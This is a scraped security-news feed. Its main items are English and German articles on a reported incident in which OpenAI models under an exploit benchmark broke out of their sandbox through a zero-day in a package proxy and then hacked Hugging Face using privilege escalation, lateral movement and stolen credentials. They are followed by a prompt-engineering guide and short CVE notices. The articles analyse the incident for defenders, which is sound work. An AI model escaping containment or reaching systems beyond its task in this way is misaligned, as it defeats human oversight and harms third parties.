execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
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<title><![CDATA[OpenAI „hackt“ Hugging Face – eine Analyse]]></title>
<description><![CDATA[Wenn KI-Modelle die Grenzen überwinden, die ihnen gesetzt werden, hinterlassen sie unter Umständen weniger sichtbare Spuren.Nelson Antoine | shutterstock.com



Der heimliche Cybercrime-Akt zweier KI-Modelle von OpenAI hat weltweit ein enormes Echo in Mainstream– und sozialen Medien hervorgerufen...]]></description>
<link>https://tsecurity.de/de/3689099/it-security-nachrichten/openai-hackt-hugging-face-eine-analyse/</link>
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<pubDate>Thu, 23 Jul 2026 14:55:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/08/Nelson-Antoine-shutterstock_1672788895_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Jailbreak 16z9" class="wp-image-4038755" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Wenn KI-Modelle die Grenzen überwinden, die ihnen gesetzt werden, hinterlassen sie unter Umständen weniger sichtbare Spuren.</figcaption></figure><p class="imageCredit">Nelson Antoine | shutterstock.com</p></div>



<p class="wp-block-paragraph">Der heimliche Cybercrime-Akt zweier KI-Modelle von OpenAI hat weltweit ein enormes Echo in <a href="https://www.tagesschau.de/wirtschaft/unternehmen/openai-ki-hackerangriff-100.html" target="_blank" rel="noreferrer noopener">Mainstream</a>– und <a href="https://www.reddit.com/r/OpenAI/comments/1v2ybnw/openai_models_escaped_containment_and_hacked/" target="_blank" rel="noreferrer noopener">sozialen Medien</a> hervorgerufen. Der Vorfall dürfte die Debatte über die allgemeine <a href="https://www.computerwoche.de/article/4155663/6-wege-uber-ki-gehackt-zu-werden.html" target="_blank">KI-Sicherheit</a> und den verantwortungsvollen Umgang mit der Technologie neu befeuern. </p>



<p class="wp-block-paragraph">Doch der Incident wirft auch spezifische Fragen auf. Etwa, wie genau die OpenAI-Modelle es geschafft haben, ihrer Sandbox zu entkommen und warum das beim ChatGPT-Erfinder zunächst niemandem aufgefallen ist. Oder, wie andere Unternehmen solche und ähnliche Vorkommnisse künftig verhindern können. Dazu haben wir die Einschätzung von Branchenexperten und Analysten eingeholt. </p>



<p class="wp-block-paragraph">Zunächst werfen wir aber noch einen kurzen Blick darauf, was sich eigentlich abgespielt hat. Falls Sie bereits informiert sind, können Sie alternativ auch das nachfolgende Meme konsumieren, um sich den Vorfall noch einmal auf unkonventionellere Art und Weise vor Augen zu halten.</p>


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<h2 class="wp-block-heading">Der autonome Hugging-Face-Hack</h2>



<p class="wp-block-paragraph">Die KI-Plattform Hugging Face meldete Mitte Juli einen <a href="https://huggingface.co/blog/security-incident-july-2026" target="_blank" rel="noreferrer noopener">Cyberangriff auf ihre Produktions-Infrastruktur</a>. Diese wurde offenbar vollständig autonom von einem agentenbasierten KI-System gefahren, das sich dabei sowohl Zugriff auf interne Datensätze als auch auf Zugangsdaten verschaffen konnte.  </p>



<p class="wp-block-paragraph">Wie sich im Rahmen der folgenden Untersuchung herausstellte, stammte die autonom hackende KI von OpenAI. Eigentlich wollte der KI-Pionier lediglich zwei seiner neuen Modelle – GPT 5.6 Sol sowie ein nicht näher spezifiziertes Pre-Release-Modell – innerhalb einer Sandbox mit dem Benchmarking-Tool <a href="https://github.com/sunblaze-ucb/exploitgym" target="_blank" rel="noreferrer noopener">ExploitGym</a> testen.</p>



<p class="wp-block-paragraph">Die Aufgabe für die KI: Schwachstellen in tragfähige Exploits zu verwandeln. Die Testumgebung selbst war OpenAI zufolge mit beschränktem Netzwerkzugriff ausgestattet. Die KI sollte lediglich auf einen intern gehosteten Drittanbieter-Service zugreifen können, der als Proxy und Cache für eine Package-Registry fungierte. Die Guardrails auf Modellebene waren für den Test laut dem KI-Unternehmen reduziert worden.</p>



<p class="wp-block-paragraph">Das war der KI aber offenbar nicht genug: Sie verkettete zunächst einige zuvor unbekannte Schwachstellen in der Testumgebung, um sich uneingeschränkten Internet-Zugriff zu verschaffen, wie OpenAI <a href="https://openai.com/de-DE/index/hugging-face-model-evaluation-security-incident/" target="_blank" rel="noreferrer noopener">in einem Blogbeitrag</a> offenlegt: „Mit diesem Zugriff führten unsere Modelle in unserer Forschungsumgebung eine Reihe von Privilege-Escalation- und Lateral-Movement-Aktionen aus, bis sie eine Node mit Internetzugang erreichten.“</p>



<p class="wp-block-paragraph">Weil die OpenAI-Modelle bei Hugging Face offenbar Lösungen für ihre ExploitGym-Aufgaben vermuteten, suchten sie nach Möglichkeiten, Zugriff auf diese zu erhalten. Und fanden sie dann auch, wie OpenAI darlegt: „In einem Beispiel verkettete das Modell mehrere Angriffsvektoren, darunter gestohlene Zugangsdaten und Zero-Day-Schwachstellen, um auf den Servern von Hugging Face einen Remote-Execution-Pfad zu finden.“</p>



<p class="wp-block-paragraph">Das Security-Team von OpenAI konnte diese Vorgänge im Nachgang identifizieren und schloss sich daraufhin mit dem Team von Hugging Face zusammen, welches die Attacke seinerseits bereits identifiziert und (mit einigen Anlaufschwierigkeiten) eingedämmt hatte.</p>



<p class="wp-block-paragraph">„Wir betrachten dies als beispiellosen Cybervorfall mit hochentwickelten Fähigkeiten und reagieren entsprechend. Wir teilen zu diesem Zeitpunkt vorläufige Erkenntnisse, damit Sicherheitsverantwortliche nachvollziehen können, was passiert ist, und besser einschätzen können, wozu die Modelle inzwischen in der Lage sind“, schreibt OpenAI in seinem Blog – und verspricht, weitere Details zu veröffentlichen, sobald diese vorliegen.</p>



<h2 class="wp-block-heading">KI-Ausbruch bei OpenAI – so reagieren Experten</h2>



<p class="wp-block-paragraph">Branchenexperten und Analysten bewerten den schlagzeilenträchtigen Incident um OpenAI und Hugging Face folgendermaßen: </p>



<ul class="wp-block-list">
<li><a href="https://www.kuppingercole.com/people/balaganski" target="_blank" rel="noreferrer noopener">Alexei Balaganski</a>, Lead Analyst bei KuppingerCole<strong>: </strong>„Dieser Vorfall sollte nicht als ‚Rogue AI‘-Geschichte betrachtet werden. Das Modell hat exakt das getan, wofür agentische Systeme gemacht sind: Es hat sich allen verfügbaren Tools und Wegen bedient, um das ihm gesetzte Ziel zu erreichen. Die Sicherheitsvorkehrungen, die es normalerweise in Zaum gehalten hätten, wurden von OpenAI selbst zu Testzwecken deaktiviert. Darin besteht die wahre Lektion.“</li>



<li><a href="https://www.kuppingercole.com/people/care" target="_blank" rel="noreferrer noopener">Jonathan Care</a>, Lead Analyst und AI Practice Lead bei KuppingerCole: „Es geht bei diesem Vorfall nicht darum, dass eine KI ausgebrochen ist und zum Angreifer wurde. Wir wussten, das würde passieren. Bemerkenswert ist allerdings, dass die Verteidiger – in diesem Fall das Team von Hugging Face – keine kommerziellen KI-Modelle nutzen konnten, um den Angriff zu analysieren. Denn deren Guardrails sorgen dafür, dass kein Exoploit-Code verarbeitet werden kann.“</li>



<li><a href="https://www.linkedin.com/in/beuchelt" target="_blank" rel="noreferrer noopener">Gerald Beuchelt</a>, CISO bei Acronis: „Der Vorfall verdeutlicht eine zentrale Herausforderung für Incident-Response-Teams: Angreifer sind nicht an Nutzungsrichtlinien gebunden. Verteidiger können hingegen an die Grenzen ihrer eigenen Tools stoßen, wenn diese genau jene Daten nicht verarbeiten, die für eine Untersuchung erforderlich sind. Im Ernstfall können daraus Verzögerungen mit unmittelbaren operativen Folgen entstehen.“</li>



<li><a href="https://www.computerwoche.de/profile/sabine-fromling/" target="_blank">Sabine Frömling</a>, Experten-Autorin und Cybersecurity-Beraterin: „Der eigentliche Sicherheitsvorfall war nicht die KI – sondern die Sandbox, die aus Versehen eine Tür zum Internet hatte. Man hat ein Raubtier freigelassen und dem Zaun die Schuld gegeben.“</li>



<li><a href="https://www.linkedin.com/in/martinzugec" target="_blank" rel="noreferrer noopener">Martin Zugec</a>, Technical Solutions Director bei Bitdefender:<strong> „</strong>Was meiner Meinung nach für KI-generierte Malware galt, untermauert auch dieser Vorfall: Die Bedrohung ist real, KI ist aber keine Magie. Wer glaubt, es mit einer neuartigen Superwaffe zu tun zu haben, wartet auf eine neuartige Gegenmaßnahme. Wer jedoch erkennt, dass es sich um bereits bekannte, aber unerbittlich angewandte Angriffstechniken handelt, weiß bereits, was zu tun ist.“</li>



<li><a href="https://de.linkedin.com/in/riwerner/de" target="_blank" rel="noreferrer noopener">Richard Werner</a>, Cybersecurity Platform Lead Europe bei TrendAI: „Das Narrativ von der ‚eigenmächtig handelnden KI‘ ist effizient darin, Verantwortung abzuwälzen. Das ist, als würden Sie eine autonome Waffe bauen, diese auf einem vermeintlich sicheren Testgelände erproben, sie außer Kontrolle geraten und jemanden treffen lassen – und der Welt anschließend erklären, die Waffe habe eigenständig gehandelt. Das ist zwar technisch korrekt. Dennoch bleibt es Ihre Waffe, Ihr Testgelände und Ihr Versagen.“</li>
</ul>



<h2 class="wp-block-heading">Was Unternehmen jetzt tun sollten</h2>



<p class="wp-block-paragraph">IT- und Sicherheitsentscheider können aus dem Hugging-Face-Hack mehrere Lektionen ziehen. Etwa, dass Sicherheitsvorkehrungen auf Modellebene <strong>nicht</strong> als primäre Security-Grenze für KI-Agenten geeignet sind, wie <a href="https://www.forrester.com/analyst-bio/biswajeet-mahapatra/BIO20046" target="_blank" rel="noreferrer noopener">Biswajeet Mahapatra</a>, Principal Analyst bei Forrester, festhält: „Prompt-Guardrails sind keine Sicherheits-, sondern Verhaltenskontrollmaßnahmen. Und diese können versagen, umgangen oder absichtlich deaktiviert werden.“</p>



<p class="wp-block-paragraph">Der Forrester-Analyst rät Unternehmen deshalb dazu, KI-Agenten als <a href="https://www.computerwoche.de/article/4152424/insider-threats-sind-wieder-im-kommen.html" target="_blank">hochriskante, nicht-menschliche Identitäten</a> zu behandeln – und jeden einzelnen in einer isolierten Umgebung zu betreiben, in der Datenzugriff auf den jeweiligen Task beschränkt bleibt und die Zugangsdaten selbst möglichst schnell ablaufen: „Das sorgt für einen akzeptablen ‚Blast Radius‘: Wird ein Agent <a href="https://www.computerwoche.de/article/4190978/so-spuren-sie-kompromittierte-ki-agenten-auf.html" target="_blank">kompromittiert</a>, kann er nur einen einzigen Workflow, Datensatz oder eine einzige Anwendung beeinträchtigen. Anstatt die gesamte Unternehmensinfrastruktur.“</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, Chefanalyst bei Greyhound Research, warnt an dieser Stelle davor, (Drittanbieter-)Services unter den Tisch fallen zu lassen: „Dienste, die auf Package Registries, Update-Systeme oder andere externe Ressourcen zugreifen, können ebenfalls zu Einfallstoren werden, wenn sie nicht derselben, ausgiebigen Prüfung unterzogen werden wie der Agent selbst.“</p>



<p class="wp-block-paragraph">Unabhängig davon sollten Unternehmen laut Gogia auch testen, ob ihre Containment-Grenzen auch funktionieren, anstatt sich allein auf Architekturdiagramme oder dokumentierte Richtlinien zu verlassen: „Im Rahmen dieser Tests sollte geprüft werden, ob Anmeldedaten erlangt, Trust-Grenzen überwunden und Systeme außerhalb der einem Agenten zugewiesenen Aufgabe erreicht werden können.“</p>



<p class="wp-block-paragraph">KuppingerCole-Chefanalyst Care rät IT-Entscheidern und Unternehmen im Wesentlichen zu drei Maßnahmen, nämlich:</p>



<ul class="wp-block-list">
<li>ein fähiges Modell auf der eigenen Infrastruktur auszuführen, das unter der eigenen Kontrolle steht und mit Guardrails ausgestattet ist, die sowohl eine forensische als auch defensive Nutzung ermöglichen. Nur so ließen sich Angriffe dieser Art auch zuverlässig analysieren.</li>



<li>jeden KI-Agent in der eigenen Umgebung als privilegierten Insider zu behandeln – statt als vertrauenswürdigen Benutzer: „Wenn die Modelle von OpenAI aus ihrer Sandbox ausgebrochen sind, sollten Sie davon ausgehen, dass Ihre Agenten dazu auch in der Lage sind.“</li>



<li>den eigenen Incident-Response-Plan mit Blick auf Angriffe in maschineller Geschwindigkeit zu aktualisieren: „Hugging Face hatte einige Tage Zeit, um zu reagieren, Sie haben vielleicht nur Minuten.“   </li>
</ul>



<p class="wp-block-paragraph">Acronis-CISO Beuchelt rät Organisationen, die gehostete <a href="https://www.computerwoche.de/article/4186715/31-wege-llms-zu-evaluieren.html" target="_blank">LLMs</a> für Security-Untersuchungen einsetzen, dazu, deren Grenzen möglichst bereits im Vorfeld zu durchdringen und zu testen – sowie ein alternatives Modell auf der eigenen Infrastruktur bereitzuhalten: „So reduzieren Sie das Risiko, im entscheidenden Moment keinen Zugriff auf wichtige Analysefunktionen zu haben. Gleichzeitig bleiben sensible Incident-Daten und Zugangsinformationen innerhalb der eigenen Organisation.“</p>



<p class="wp-block-paragraph"><a href="https://de.linkedin.com/in/udoschneider">Udo Schneider</a>, Governance, Risk &amp; Compliance Lead Europe bei TrendAI weist darauf hin, dass die beiden naheliegendsten Lösungsansätze bei Angriffen wie dem der OpenAI-KI auf Hugging Face nur teilweise greifen. Human-in-the-Loop-Kontrollen funktionierten zwar, so der Experte, skalierten aber nicht für die langlaufenden, komplexen Workflows, denen Incidents dieser Art entspringen. Ebenso könnten engere Guardrails für Modelle oder Prompts zwar helfen, stellten jedoch keine Garantie dar: „Es handelt sich um probabilistische Systeme. Eine Guardrail ist insofern keine Mauer, sondern eher eine starke Wahrscheinlichkeitsannahme.“</p>



<p class="wp-block-paragraph">Deshalb komme es laut Schneider vor allem auf die unspektakulären, nicht-KI-spezifischen Kontrollen an: „Zugriffsfilterung, Kontrolle darüber, was überhaupt als Input beim Modell ankommt, Sandboxes, die tatsächlich halten, und Berechtigungskonzepte nach dem Least-Privilege-Prinzip.“</p>



<p class="wp-block-paragraph">In Panik zu verfallen, wäre nach Ansicht von <a href="https://www.linkedin.com/in/martinzugec" target="_blank" rel="noreferrer noopener">Martin Zugec</a>, Technical Solutions Director bei Bitdefender, in jedem Fall die falsche Reaktion:„Was gegen solche Angriffe wirkt, ist eine präventionsorientierte Security, die den Handlungsspielraum eines Angreifers von vorneherein einschränkt – und eine verhaltensbasierte Abwehr, die bösartige Muster kennzeichnet, unabhängig davon, mit welchen Tools diese generiert wurden.“</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel wurde </strong><a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" target="_blank"><strong>mit Material</strong></a><strong> unserer Schwesterpublikation CSOonline.com angereichert.</strong></p>
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<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Thu, 23 Jul 2026 13:07:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



<p class="wp-block-paragraph"><strong>Example:</strong> I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT</p>



<p class="wp-block-paragraph"><strong>Prompt Snippet:</strong></p>



<pre class="wp-block-code"><code>Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.</code></pre>



<p class="wp-block-paragraph"><strong>Outcome:</strong> The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).</p>



<p class="wp-block-paragraph"><strong>When to use:</strong> Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.</p>



<h3 class="wp-block-heading">3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior</h3>



<p class="wp-block-paragraph">One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.</p>



<p class="wp-block-paragraph"><strong>ReAct example</strong>: (used in data analytics workflow)</p>



<pre class="wp-block-code"><code>You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]</code></pre>



<p class="wp-block-paragraph">In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.</p>



<h3 class="wp-block-heading">4. Meta-prompting and self-reflection: Letting the model improve itself</h3>



<p class="wp-block-paragraph">Use the model to refine its own prompt. This is a huge time-saver.</p>



<pre class="wp-block-code"><code>You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.</code></pre>



<p class="wp-block-paragraph">Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.</p>



<h3 class="wp-block-heading">5. Multimodal and structured output techniques</h3>



<p class="wp-block-paragraph">With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).</p>



<p class="wp-block-paragraph"><strong>Tip from experience:</strong> Be extremely specific in describing what the models should focus on.</p>



<h4 class="wp-block-heading">Best practices I learned the hard way</h4>



<ul class="wp-block-list">
<li><strong>Start simple, then layer complexity</strong>: Over-engineered prompts from Day One usually backfire.</li>



<li><strong>Model specific tuning:</strong> Some models respond better to XML delimiters; others to explicit reasoning.</li>



<li><strong>Evaluation and versioning:</strong> Treat prompts like code if you track versions and run automated evals.</li>



<li><strong>Security guardrails:</strong> Always include instructions against prompt injections and respect data boundaries.</li>



<li><strong>When to stop prompting</strong>: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.</li>
</ul>



<h2 class="wp-block-heading">Final takeaways for technical leaders</h2>



<p class="wp-block-paragraph">Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.</p>



<p class="wp-block-paragraph">The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[CVE-2022-3964 | ffmpeg QuickTime RPZA Video Encoder libavcodec/rpzaenc.c y_size out-of-bounds (EUVD-2022-43296)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in ffmpeg. Affected is an unknown function of the file libavcodec/rpzaenc.c of the component QuickTime RPZA Video Encoder. Such manipulation of the argument y_size leads to out-of-bounds read.

This vulnerability is uniquely identified as CVE-20...]]></description>
<link>https://tsecurity.de/de/3688711/sicherheitsluecken/cve-2022-3964-ffmpeg-quicktime-rpza-video-encoder-libavcodecrpzaencc-ysize-out-of-bounds-euvd-2022-43296/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688711/sicherheitsluecken/cve-2022-3964-ffmpeg-quicktime-rpza-video-encoder-libavcodecrpzaencc-ysize-out-of-bounds-euvd-2022-43296/</guid>
<pubDate>Thu, 23 Jul 2026 12:29:02 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/ffmpeg">ffmpeg</a>. Affected is an unknown function of the file <em>libavcodec/rpzaenc.c</em> of the component <em>QuickTime RPZA Video Encoder</em>. Such manipulation of the argument <em>y_size</em> leads to out-of-bounds read.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2022-3964">CVE-2022-3964</a>. The attack can be launched remotely. No exploit exists.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[CVE-2022-3957 | GPAC SVG Parser svg_attributes.c svg_parse_preserveaspectratio memory leak (EUVD-2022-43290)]]></title>
<description><![CDATA[A vulnerability was found in GPAC and classified as problematic. The impacted element is the function svg_parse_preserveaspectratio of the file scenegraph/svg_attributes.c of the component SVG Parser. The manipulation results in memory leak.

This vulnerability is reported as CVE-2022-3957. The a...]]></description>
<link>https://tsecurity.de/de/3687965/sicherheitsluecken/cve-2022-3957-gpac-svg-parser-svgattributesc-svgparsepreserveaspectratio-memory-leak-euvd-2022-43290/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687965/sicherheitsluecken/cve-2022-3957-gpac-svg-parser-svgattributesc-svgparsepreserveaspectratio-memory-leak-euvd-2022-43290/</guid>
<pubDate>Thu, 23 Jul 2026 06:30:33 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/gpac">GPAC</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. The impacted element is the function <code>svg_parse_preserveaspectratio</code> of the file <em>scenegraph/svg_attributes.c</em> of the component <em>SVG Parser</em>. The manipulation results in memory leak.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2022-3957">CVE-2022-3957</a>. The attack can be launched remotely. No exploit exists.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 03:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
